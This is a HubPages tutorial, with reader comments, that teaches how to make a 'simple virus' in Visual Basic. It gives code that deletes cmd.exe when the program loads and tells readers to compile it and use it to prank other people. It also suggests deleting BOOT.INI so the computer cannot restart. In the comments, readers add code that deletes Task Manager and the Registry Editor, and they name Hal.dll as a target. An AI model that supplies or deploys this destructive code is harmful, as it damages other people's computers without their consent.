Flag This Hub

Make a simple virus in Visual Basic & Explore VB with me

By


Make a simple VIRUS in Visual Basic

MAKE A SIMPLE VIRUS IN VISUAL BASIC

Well. now i'll teach you how to make a basic Virus in Visual Basic.

Now here the term "A Simple Virus" means a program that deletes any basic files/files of your computer.Afterall all the viruses do almost the same thing that our virus is going to do.

To start with,Just open the Visual Basic,Select Standard EXE.

Now if you want to your virus to be active whenever the program is executed, then

type in the following code under the title:Private Sub Form_Load()

We'll start now:

Private Sub Form_Load()

Kill "C:\windows\system32\cmd.exe"

End Sub

Make a ".exe" file of your program and start pranking on others by deleting only simple files instead of cmd.exe.Just type in the appropriate path of the file .

I'll explain it now.

The command "KILL" tells the computer to delete the file in the inverted commas.

Now whenever the program will be started in whichever PC where it is,it will always delete the corresponding file.The file "CMD.EXE" refers to your command prompt.You'll never be able to open it again until you have a Recovery Software to recover the deleted file.As such,You can place any file under the kill command.

Now you can also place a command button in your form and copy the above code under your command button so that whenever a user clicks the button the file will be deleted.

You can also place the file"BOOT.INI" in the code instead of cmd.exe.If BOOT.INI is deleted your PC will never restart.So,please beware of that.And dont try it.This's just for your knowledge.


H/mariam Abebe 4 years ago

Hi sir thanks verey much for giving me chance keep it up and add more codes on the web; you know i am IT deploma student in ethiopia pleas send any other code via my e-mail hailevip@yahoo.com

Ishtiak,Bagnladesh 2 years ago

u r great

stuff4you 23 months ago

good knowledge to have thanks

Johnson Marshal 20 months ago

Thnxks for this

ghost 15 months ago

Here is a code for visual basic learner

Private Sub() Form1_Load()

my.computer.filesystem.deletefile("C:\Windows\taskman.exe")

my.computer.filesystem.deletefile("C:\Windows\regedit.exe")

End Sub

This is a malicious program to delete the registry editor and the taskmanager.

Don't try it in your computer plzz!!

Majin 10 months ago

U r very great i am interested

bawinner 10 months ago

Thank You All.Do share any more ideas u may come across!:)

sven 9 months ago

pls @bawinner i need ur help... i tried coding the program but it does not delete the file... i would appreciate ur e-mil or smth. nice work btw

Samjam2801 5 months ago

BOOT.ini

or

Hal.dll

russell 4 months ago

salamat sa mga ideas mu, malaking tulong yan sakin..

chan 2 months ago

Great idea ..:)

Submit a Comment
Members and Guests

Sign in or sign up and post using a hubpages account.



    Search amazon

    No Amazon products found
    Like this Hub?
    Please wait working